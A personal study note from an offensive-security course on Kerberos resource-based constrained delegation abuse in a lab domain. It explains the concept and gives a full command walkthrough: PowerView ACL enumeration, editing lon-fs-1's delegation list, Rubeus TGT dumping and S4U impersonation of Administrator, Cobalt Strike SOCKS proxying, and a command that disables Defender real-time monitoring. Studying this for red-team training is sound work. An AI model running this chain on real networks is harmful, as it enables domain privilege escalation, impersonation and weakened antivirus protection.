Skills · learning

Kerberos Resource-Based Constrained Delegation

Quick references: task-first command sheet · detailed command reference · exam navigator

Quick model Classic constrained delegation places the allowed backend SPNs on the front-end account. RBCD places the allowed delegating principals on the target resource account. The path requires both a controlled delegating principal and a verified right to change the target's delegation configuration; the resulting ticket still has to be accepted by the target service and authorized for the requested resource.

Table of Contents

  • Starting position
  • Why RBCD is configured this way
  • Corrected model
  • Attack prerequisites
  • Change the target allow-list
  • Request the ticket
  • End-to-end flow
  • Fast recall
  • Memory model
  • Course lab
  • Lab execution and cleanup
  • Restore temporary lab state
  • Fast review

Original study session: 24 Sep 2026, 23:48 SGT

Yes - the missing piece is the starting position. Once that is clear, RBCD stops looking like random Kerberos magic.

The single most important correction is:

You normally use RBCD to compromise a server you do NOT already control.

If you already had SYSTEM on the file server, there would usually be little point using RBCD to gain access to that same file server.


Start with the scenario

Imagine three objects:

YOU CONTROL
LON-WKSTN-1
      │
      │
      │   Active Directory
      │
      │   You happen to have permission to modify
      │   one specific property belonging to:
      ▼
LON-FS-1
TARGET FILE SERVER

Your starting position is approximately:

Controlled machine:
LON-WKSTN-1     ✅

Target machine:
LON-FS-1        ❌

Administrator credentials:
No              ❌

But...

Permission to modify LON-FS-1's
RBCD setting in Active Directory:
Yes             ✅

That last permission is what makes the attack possible.

Your CRTO material describes the two prerequisites as:

  1. write access to the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity

  2. control of another principal that has an SPN.


Why would that permission even exist?

This is the legitimate purpose of RBCD.

Suppose a company has:

WEB01
  │
  │ receives a request from Ryan
  │
  ▼
FILE01

WEB01 sometimes needs to access FILE01 as Ryan.

So the administrator configures FILE01:

FILE01 says:

"I trust WEB01 to act on behalf
of users when WEB01 accesses me."

That is RBCD.

And critically:

THE SETTING LIVES ON FILE01

not WEB01.

That is what “resource-based” means.

The resource/back-end determines who it trusts for delegation.


Your sentence was almost correct

You said roughly:

“The file server lets another server act on behalf of users when accessing the file server.”

Yes.

That is probably the cleanest sentence to remember.

More precisely:

FILE01's AD object contains a list of service/computer principals that Kerberos is allowed to trust to represent users when accessing services on FILE01.

For example:

FILE01
│
└── RBCD:
      WEB01$ may act on behalf of users

Meaning:

Ryan
 │
 ▼
WEB01
 │
 │ "I need to access FILE01 as Ryan."
 ▼
FILE01

Kerberos can permit that.


Now turn it into an attack

Suppose instead of legitimate WEB01, you control:

EVIL01$

And because of some AD permission mistake, you can modify the RBCD property belonging to:

FILE01

You change this:

FILE01

Trusted delegation principals:
    WEB01$

into:

FILE01

Trusted delegation principals:
    WEB01$
    EVIL01$       ← YOU ADDED THIS

You have not:

stolen Administrator's password ❌

stolen Administrator's token ❌

compromised FILE01 directly ❌

changed FILE01 local permissions ❌

Instead:

You modified delegation trust.

That's the mental model.

BEFORE

FILE01
   trusts
     │
     ▼
WEB01


AFTER

FILE01
   trusts
     ├────────► WEB01
     │
     └────────► EVIL01   ← attacker-controlled

And that's why S4U comes AFTER the trust change

This distinction you made is exactly useful:

PHASE 1

Manipulate delegation trust

then:

PHASE 2

Use S4U to exploit that trust

They're two separate concepts.

Keep the two phases separate Phase 1 changes the target resource's allow-list. Phase 2 uses the controlled principal's TGT to obtain a user-to-service ticket through S4U. The S4U request does not itself grant the right to edit the target's RBCD setting, and an existing RBCD entry for some other front-end principal does not prove that you can add your own.

This lab is resource-based constrained delegation, not classic constrained delegation. Classic constrained delegation usually needs the front-end account's msDS-AllowedToDelegateTo list and may use the TRUSTED_TO_AUTH_FOR_DELEGATION flag for protocol transition. Windows RBCD uses the target resource's RBCD security descriptor instead; Microsoft documents that the TRUSTED_TO_AUTH_FOR_DELEGATION bit does not gate RBCD protocol transition. That does not remove the need for the target-side allow-list, a controlled SPN-bearing principal, a usable TGT, or authorization at the target service. Microsoft's delegation overview


Phase 1 - manipulate delegation trust

You make:

TARGET:
LON-FS-1

trust:

CONTROLLED:
LON-WKSTN-1$

So AD effectively says:

LON-FS-1:

"I permit LON-WKSTN-1$
to represent users when
accessing services on me."

The course does this by modifying the target's PrincipalsAllowedToDelegateToAccount, which corresponds to the RBCD configuration.


Phase 2 - exploit that trust

Now your controlled computer says to the KDC:

"I'm LON-WKSTN-1$.

I want to represent:

Administrator
"

That's where:

S4U2Self

comes in.

Conceptually:

LON-WKSTN-1$
        │
        │ Please allow me to represent
        │ Administrator
        ▼
      KDC
        │
        ▼
Administrator → LON-WKSTN-1$

Your lab output literally shows:

Building S4U2self request

Got a TGS for 'Administrator'
to 'LON-WKSTN-1$'

But we don't actually want access to ourselves

Right.

You don't care about:

Administrator → LON-WKSTN-1$

Your target is:

LON-FS-1

So next comes:

S4U2Proxy

The controlled machine asks:

"I am allowed to represent Administrator.

Please give me a ticket for Administrator
to access CIFS/LON-FS-1."

The KDC checks:

Does LON-FS-1's RBCD configuration
allow LON-WKSTN-1$?

Because you modified it earlier:

YES

Therefore the KDC issues:

Administrator
      │
      ▼
CIFS/LON-FS-1

That's your useful ticket.

The course shows exactly this:

Impersonating user 'Administrator'
to target SPN 'cifs/lon-fs-1'

Building S4U2proxy request

S4U2proxy success!

Think of it like an office building

This analogy may make it stick.

Suppose the file server is a secure room:

FILE01

And normally it has a rule:

“WEB01 is an approved assistant. If WEB01 says it is bringing something on Ryan's behalf, trust it.”

That's delegation.

You don't have the key to the room.

But somehow you have permission to edit the approved assistants list.

You add yourself:

Approved representatives

WEB01
EVIL01     ← you

Now you approach the security desk:

“I'm EVIL01. I'm representing Administrator.”

The system checks:

Is EVIL01 an approved representative
for FILE01?

Yes.

Now delegation becomes useful.


So why is this attack valuable?

Because sometimes an attacker gets an AD permission such as:

GenericWrite
GenericAll

or

WriteProperty over the RBCD attribute

against a computer object.

But that doesn't automatically mean:

"You have SYSTEM on that computer."

Instead, RBCD can turn this:

I can modify an AD property on FILE01

into:

I can get Kerberos tickets representing
privileged users to services on FILE01

That's the privilege conversion.

RBCD's configuration model is also why this can be reachable without Domain Admin credentials. Classic constrained delegation is configured from the front-end account and its msDS-AllowedToDelegateTo list; modifying that configuration commonly requires the domain-level delegation right SeEnableDelegationPrivilege. RBCD moves the trust decision to the resource owner: a principal with the effective right to write the target's RBCD attribute can configure the target allow-list without first being a Domain Admin. In this lab, the delegated Server Admins ACL is the path to that write. Microsoft's overview explains the resource-owner control shift.

Think:

AD WRITE PERMISSION
        ↓
DELEGATION TRUST
        ↓
KERBEROS IMPERSONATION
        ↓
SERVICE ACCESS

And why do we need another computer?

This part is subtle.

RBCD doesn't just say:

"Ryan may impersonate Administrator."

Delegation applies to services.

Therefore you need a principal with an SPN.

Computer accounts naturally have SPNs.

For example:

LON-WKSTN-1$

HOST/LON-WKSTN-1
WSMAN/LON-WKSTN-1
RestrictedKrbHost/...
etc.

That's why a computer you have SYSTEM on is convenient.

Your notes explicitly state that computer accounts are usable because they have default SPNs, and SYSTEM-level access lets you use that machine's identity.

So:

LON-WKSTN-1$

becomes your controlled delegating service identity.


The attack from beginning to end

Here's the version I think will make it click.

ATTACKER

controls:

LON-WKSTN-1
      │
      │ SYSTEM
      ▼
LON-WKSTN-1$
machine identity

AND

attacker has AD write permission
over RBCD property of:

LON-FS-1

Then:

STEP 1
─────────────────────────────────

Modify LON-FS-1's delegation config

LON-FS-1 says:

"I trust LON-WKSTN-1$
to represent users to me."

Then:

STEP 2
─────────────────────────────────

Prove to Kerberos that we control:

LON-WKSTN-1$

using its machine TGT.

Then:

STEP 3  -  S4U2SELF
─────────────────────────────────

LON-WKSTN-1$ asks:

"Let me represent Administrator."

Then:

STEP 4  -  S4U2PROXY
─────────────────────────────────

LON-WKSTN-1$ asks:

"Give Administrator a ticket
to CIFS/LON-FS-1."

KDC checks RBCD:

Does LON-FS-1 trust
LON-WKSTN-1$?

YES

Result:

Administrator
      ↓
CIFS/LON-FS-1

Then:

STEP 5

Import ticket

Then:

\\LON-FS-1\C$

Your corrected sentence

I would write this in your CRTO notes:

RBCD abuse is not primarily stealing a token or manipulating an existing user's trust. We modify the target computer's delegation configuration so that a service/computer principal we control is trusted to act on behalf of users when accessing that target. Once that delegation trust exists, we use S4U2Self + S4U2Proxy to obtain a service ticket impersonating a chosen user to a service on the target.

That's the concept.


CRTO RBCD cheat sheet

╔══════════════════════════════════════════╗
║       RBCD  -  RESOURCE-BASED             ║
║       CONSTRAINED DELEGATION            ║
╚══════════════════════════════════════════╝


MENTAL MODEL

TARGET decides:

"Which services may represent users
when accessing ME?"


ATTRIBUTE ON TARGET:

msDS-AllowedToActOnBehalfOfOtherIdentity


NOT:

ordinary file permissions

NOT:

token manipulation

NOT:

password stealing


WE ARE MODIFYING:

DELEGATION TRUST

Starting requirements

1. TARGET SERVER

Example:

LON-FS-1


2. CONTROLLED PRINCIPAL WITH SPN

Example:

LON-WKSTN-1$

Usually because:

SYSTEM on LON-WKSTN-1


3. WRITE ACCESS TO TARGET'S RBCD PROPERTY

msDS-AllowedToActOnBehalfOfOtherIdentity

These match the lab's stated prerequisites. No password or pre-existing local Administrator credential for the back-end is required by this ticket path. You still need a verified right to change the target's AD delegation setting, a controlled front-end principal with an SPN and usable TGT, and a target service that will authorize the impersonated identity. In this lab, SYSTEM access on the joined workstation lets the operator use LON-WKSTN-1$; that is a lab route to control the machine identity, not a universal requirement that every RBCD case begin with SYSTEM.


Step 1 - enumerate write permission

Load PowerView:

ipmo C:\Tools\PowerSploit\Recon\PowerView.ps1

Credentials:

$Cred = Get-Credential CONTOSO\rsteel

This is a password-based alternative only if rsteel's real credential is available. The guided lab below uses a captured rsteel TGT and an LDAP service ticket in a separate /netonly logon session; a stolen ticket does not populate $Cred.

Search RBCD WriteProperty:

Get-DomainComputer -Server 10.10.120.1 -Credential $Cred |
Get-DomainObjectAcl -Server 10.10.120.1 -Credential $Cred |
? {
    $_.ObjectAceType -eq '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79' -and
    $_.ActiveDirectoryRights -Match 'WriteProperty'
} |
select ObjectDN,SecurityIdentifier

The GUID used here is the one identified by the course for msDS-AllowedToActOnBehalfOfOtherIdentity.


Step 2 - check existing delegation

Get-ADComputer `
-Filter * `
-Properties PrincipalsAllowedToDelegateToAccount `
-Server 10.10.120.1 `
-Credential $Cred |
select Name,PrincipalsAllowedToDelegateToAccount

Step 3 - get principals

Existing legitimate principal:

$ws1 = Get-ADComputer `
-Identity 'lon-ws-1' `
-Server 10.10.120.1 `
-Credential $Cred

Our controlled machine:

$wkstn1 = Get-ADComputer `
-Identity 'lon-wkstn-1' `
-Server 10.10.120.1 `
-Credential $Cred

Step 4 - manipulate delegation trust

Set-ADComputer `
-Identity 'lon-fs-1' `
-PrincipalsAllowedToDelegateToAccount $ws1,$wkstn1 `
-Server 10.10.120.1 `
-Credential $Cred

Interpretation:

NOT:

"LON-WKSTN-1 owns LON-FS-1."


IT MEANS:

"LON-FS-1 now trusts
 LON-WKSTN-1$
 for Kerberos delegation."

The course specifically retains the existing $ws1 entry while adding $wkstn1.


Step 5 - get controlled machine TGT

From SYSTEM context:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

Grab:

LON-WKSTN-1$ TGT

The course extracts this from the SYSTEM logon session (0x3e7).


Step 6 - exploit delegation with S4U

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:LON-WKSTN-1$ /impersonateuser:Administrator /msdsspn:cifs/lon-fs-1 /ticket:<MACHINE_TGT> /nowrap

Interpretation:

/user:LON-WKSTN-1$

= controlled delegation principal


/impersonateuser:Administrator

= identity we want to represent


/msdsspn:cifs/lon-fs-1

= target service


/ticket:<TGT>

= proof that we control
  LON-WKSTN-1$

Internally

        S4U2SELF

Administrator
     ↓
LON-WKSTN-1$


        S4U2PROXY

Administrator
     ↓
CIFS/LON-FS-1

The lab demonstrates both operations in the S4U output.


Step 7 - import final ticket

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET>

Then:

beacon> steal_token <PID>

Then:

beacon> ls \\lon-fs-1\c$

The course uses this final imported CIFS ticket to access the administrative share.


Step 8 - cleanup

Set-ADComputer `
-Identity 'lon-fs-1' `
-PrincipalsAllowedToDelegateToAccount $ws1 `
-Server 10.10.120.1 `
-Credential $Cred

This restores the original delegation configuration in the lab.


The 10-second CRTO memory model

Forget all the commands for a second.

Remember:

I OWN MACHINE A

        +

I CAN MODIFY
TARGET MACHINE B'S
RBCD PROPERTY

        ↓

MAKE B TRUST A
FOR DELEGATION

        ↓

GET A'S TGT

        ↓

S4U2SELF
"I represent Administrator"

        ↓

S4U2PROXY
"Give Administrator access
to CIFS/B"

        ↓

KERBEROS CHECKS:

Does B trust A?

YES

        ↓

Administrator → CIFS/B
ticket

And the single sentence I'd put in bold in your notes is:

RBCD abuse converts write access over a target computer's delegation configuration into Kerberos impersonation access to services on that target.

That's really the attack.


LAB

These are course-lab instructions with training values; confirm current scope, target and host mapping before following them. The attacker desktop cannot directly reach the lab domain controller, so Proxifier sends selected desktop traffic for 10.10.120.0/23 through the Beacon SOCKS listener. The hosts-file entry supplies the names used by Kerberos; it does not create the network route. The SOCKS listener, scoped Proxifier rule, name resolution and the ticket's logon session must all be correct.

SOCKS

  1. Launch Cobalt Strike and connect to the team server.

  2. Interact with a Beacon and start a socks proxy.

    1. socks 1080 socks5
  3. From the Windows start menu, launch Proxifier.

  4. It opens minimised in the taskbar, so click it to open the full window.

Proxy Server

  1. Add the team server as a new proxy server:

    1. Profile > Proxy Servers
    2. Click Add.
    3. Address: 10.0.0.5
    4. Port: 1080
    5. Protocol: SOCKS Version 5
    6. Click OK.

    A box will appear asking if you want to use this proxy by default. Click No.

    1. Click OK again.

    Another box will appear asking if you want to edit Proxification Rules. Click Yes.

Proxification Rules

  1. Add a new rule that will proxy any traffic from any application, on any port destined for the target network, through the team server.
    1. Click Add.
    2. Name: Beacon
    3. Target hosts: 10.10.120.0/23
    4. Action: Proxy SOCKS5 10.0.0.5
    5. Click OK.
    6. Click OK again.

DNS

  1. Run Terminal as an administrator.

  2. Add static DNS records for lon-dc-1 and contoso.com:

    PowerShellTypeCopy

    Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "10.10.120.1 lon-dc-1 lon-dc-1.contoso.com contoso.com"

Defender

Guided-lab-only action - high OPSEC risk This changes a security control and conflicts with the exam OPSEC rule you recorded. Do not carry it into an exam sequence. Only use it if the current course-lab instructions and scope explicitly require it.

The copied course-lab instruction is:

Set-MpPreference -DisableRealtimeMonitoring $true

Credentials

  1. In the medium-integrity Beacon running as pchilds, extract their TGT.

    1. krb_tgtdeleg
  2. On the Attacker desktop, run a netonly process.

    1. runas /netonly /user:CONTOSO\pchilds powershell
  3. Request a service ticket for LDAP through the proxy.

    TerminalTypeCopy

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /ticket:[TGT] /service:ldap/lon-dc-1 /dc:lon-dc-1 /ptt

    The runas /netonly window creates a separate outbound-authentication logon session. Rubeus /ptt places the requested LDAP service ticket into the current session's cache; run the LDAP enumeration in this same window. This keeps the ticket work separate from the ordinary desktop and Beacon caches. Verify the ticket in this session before querying:

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe klist
    

    Expect an ldap/lon-dc-1 service ticket. A successful asktgs alone does not prove the later directory query used this session.

Enumeration

LDAP versus RSAT/ADWS The Get-DomainComputer / Get-DomainObjectAcl PowerView queries in this sequence use LDAP, which matches the requested ldap/lon-dc-1 ticket. The RSAT Get-ADComputer and Set-ADComputer cmdlets commonly use Active Directory Web Services (ADWS), TCP 9389. A proxied LDAP ticket does not by itself prove ADWS authentication will work. The scoped Proxifier route must carry that traffic, and the active logon credentials/tickets must authorize the particular service. If the RSAT read or write fails, check the tool's protocol, route and authentication separately before concluding the RBCD ACE is wrong. Microsoft ADWS endpoint reference · ADWS port reference

  1. Import PowerView.

    1. ipmo C:\Tools\PowerSploit\Recon\PowerView.ps1
  2. Find principals that have WriteProperty privileges on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of computers.

    PowerShellTypeCopy

    Get-DomainComputer -Server 'lon-dc-1' | Get-DomainObjectAcl -Server 'lon-dc-1' | ? { $_.ObjectAceType -eq '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79' -and $_.ActiveDirectoryRights -eq 'WriteProperty' } | select ObjectDN,SecurityIdentifier

    This will show that a principal ending in RID 1107 has this privilege over multiple computers.

  3. Query LDAP to discover what this SID is (a user or group, etc).

    PowerShellTypeCopy

    Get-DomainObject -LDAPFilter '(objectSid=S-1-5-21-3926355307-1661546229-813047887-1107)' -Server 'lon-dc-1'

    This will show that it's a domain group called "Server Admins", and that rsteel is a member.

    To verify the relevant membership from LDAP rather than relying on the lab's stated result:

    Get-DomainGroupMember -Identity 'Server Admins' -Server 'lon-dc-1' -Recurse | select MemberName,MemberObjectClass
    

    Read the ObjectDN column to determine which computer objects have the ACE; the relevant lab result includes lon-fs-1. Resolve the SID to a group/user, then confirm the effective membership of the identity used for the write. The attribute GUID filter finds a matching WriteProperty ACE; it is not a full effective-access calculation. Also consider broader object rights such as GenericWrite/GenericAll when the exact-property ACE is absent, and check inheritance, deny entries, group nesting and object scope.

  4. Go back to Cobalt Strike and use the elevated Beacon context required by the course to dump the TGT for rsteel (the detailed workflow uses a SYSTEM Beacon when reading another logon session). High integrity and SYSTEM are distinct levels; verify the actual Beacon identity and use the ticket output to confirm the TGT client is rsteel before using it.

    krb_triage
    krb_dump /user:rsteel /service:krbtgt
    
  5. In the netonly process on the Attacker Desktop, purge LDAP ticket for pchilds.

    TerminalTypeCopy

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe purge

  6. Request a new LDAP service ticket with rsteel's TGT.

    TerminalTypeCopy

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /ticket:[TGT] /service:ldap/lon-dc-1 /dc:lon-dc-1 /ptt

    Verify that the replacement LDAP ticket belongs to rsteel in the same netonly PowerShell window. purge clears that session's ticket cache, so use this disposable window rather than a normal user session.

Exploitation

  1. Sanity check for any existing RBCD configurations.

    PowerShellTypeCopy

    Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount -Server 'lon-dc-1' | select Name,PrincipalsAllowedToDelegateToAccount

    This shows that there's already an RBCD configuration between lon-ws-1 and lon-fs-1. We need to be careful not to remove this by mistake.

  2. Add a new RBCD config between lon-fs-1 and lon-wkstn-1, making sure not to overwrite the existing entry.

    PowerShellTypeCopy

    $ws1 = Get-ADComputer -Identity 'lon-ws-1' -Server 'lon-dc-1'
    $wkstn1 = Get-ADComputer -Identity 'lon-wkstn-1' -Server 'lon-dc-1'
    Set-ADComputer -Identity 'lon-fs-1' -PrincipalsAllowedToDelegateToAccount $ws1,$wkstn1 -Server 'lon-dc-1'
    

    Only use this lab example if the original lon-fs-1 allow-list is exactly lon-ws-1; otherwise preserve every actual pre-existing principal.

  3. Verify that lon-wkstn-1 was added.

    PowerShellTypeCopy

    Get-ADComputer -Identity 'lon-fs-1' -Properties PrincipalsAllowedToDelegateToAccount -Server 'lon-dc-1' | select Name,PrincipalsAllowedToDelegateToAccount

  4. Go back to Cobalt Strike again, and dump the TGT for lon-wkstn-1.

    On the SYSTEM Beacon on lon-wkstn-1, confirm the machine-account TGT (client LON-WKSTN-1$, service krbtgt/CONTOSO.COM). The course's Rubeus equivalent is:

    execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
    

    Treat 0x3e7 as the lab's SYSTEM LUID example; confirm the ticket identity in output instead of assuming a LUID always contains the expected ticket.

  5. Request a usable service ticket for cifs/lon-fs-1, impersonating the default domain administrator.

    PowerShellTypeCopy

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-wkstn-1$ /impersonateuser:Administrator /msdsspn:cifs/lon-fs-1 /ticket:[TGT] /dc:lon-dc-1 /outfile:C:\Users\Attacker\Desktop\

    This is the attacker-desktop PowerShell/Rubeus route through Proxifier shown in the lab. It writes the final ticket to the stated output directory; use the filename Rubeus reports. The command performs S4U2Self followed by S4U2Proxy: first an Administrator ticket to LON-WKSTN-1$, then the useful Administrator service ticket to cifs/lon-fs-1.

  6. Import the final CIFS service ticket into the same netonly PowerShell session, then verify it and test the target share. For the local Rubeus route, use the output file Rubeus reported:

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:C:\Users\Attacker\Desktop\<FINAL-CIFS-TICKET>.kirbi
    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe klist
    Get-ChildItem \\lon-fs-1\c$
    

    Alternatively, use the Beacon-side import flow in #Step 7 - import final ticket: save the returned base64 ticket as a .kirbi on the Cobalt Strike client, create a separate make_token context, and run kerberos_ticket_use. In either route, confirm the client is Administrator, the server is cifs/lon-fs-1, and the share access actually succeeds. A generated or imported ticket alone is not proof of access.

  7. On the Attacker Desktop, restore the RBCD configuration back to how it was.

    PowerShellTypeCopy

    Set-ADComputer -Identity 'lon-fs-1' -PrincipalsAllowedToDelegateToAccount $ws1 -Server 'lon-dc-1'
    Get-ADComputer -Identity 'lon-fs-1' -Properties PrincipalsAllowedToDelegateToAccount -Server 'lon-dc-1' | select Name,PrincipalsAllowedToDelegateToAccount
    

    Restore the exact original list; $ws1 is correct only for the starting state shown in this lab.

In this lab, you have learned how to leverage a WriteProperty primitive with RBCD to compromise a computer.

After-lab cleanup

Restore and verify the exact original lon-fs-1 RBCD allow-list before closing the write-capable session. Then clean up only state created for this lab:

  1. In the disposable netonly PowerShell session, purge its Kerberos cache and close that window:

    C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe purge
    

    If you used the Beacon import route, run rev2self after the share test and remove the temporary .kirbi from the Cobalt Strike client.

  2. In the Beacon console, stop the SOCKS listener:

    socks stop
    
  3. In Proxifier, remove the lab-only Beacon rule and proxy entry if they are no longer needed. In an elevated Terminal, edit the hosts file and remove only the line added for this lab, then refresh name resolution:

    notepad C:\Windows\System32\drivers\etc\hosts
    ipconfig /flushdns
    
  4. Delete only the .kirbi files created for this exercise, using the exact filenames reported by Rubeus:

    Remove-Item -LiteralPath 'C:\Users\Attacker\Desktop\<LAB-TICKET-FILE>.kirbi'
    
  5. If the guided lab explicitly changed Defender real-time monitoring, first compare with the state recorded before the exercise and restore that exact state. The command below sets monitoring back to enabled; it is correct only when that was the original state:

    Set-MpPreference -DisableRealtimeMonitoring $false
    Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled
    

    The setting may be controlled by policy or Tamper Protection; record the observed state rather than assuming the command changed it. Do not treat this command as a general rollback when the prior state is unknown.

RBCD fact check and quick recall

TARGET RESOURCE (lon-fs-1)
  stores: msDS-AllowedToActOnBehalfOfOtherIdentity
  says:   which front-end principals may represent users to services on me

PHASE 1  -  directory permission
  identify the write right; preserve the current list; add lon-wkstn-1$

PHASE 2  -  Kerberos ticket
  use lon-wkstn-1$ TGT → S4U2Self → S4U2Proxy
  final result: Administrator → cifs/lon-fs-1 service ticket

PROVE / CLEAN UP
  test the share; restore the exact old list; read it back; close test state

Remember: the RBCD attribute is on the target. A pre-existing entry does not mean you can write it. A machine-account TGT is not a human administrator TGT, and the final service ticket grants only the access the target service authorizes. Set-ADComputer -PrincipalsAllowedToDelegateToAccount supplies/replaces the target's full principal list, so preserve every original entry and verify the rollback. Microsoft schema reference · Set-ADComputer reference

This is a living study note. Sources and understanding may change as it is reviewed.

Ryan Sacatani

Simply curious about the world, constantly building and breaking things for fun.

sacataniryan1@gmail.com ↗

BrowseBrowse topics

Browse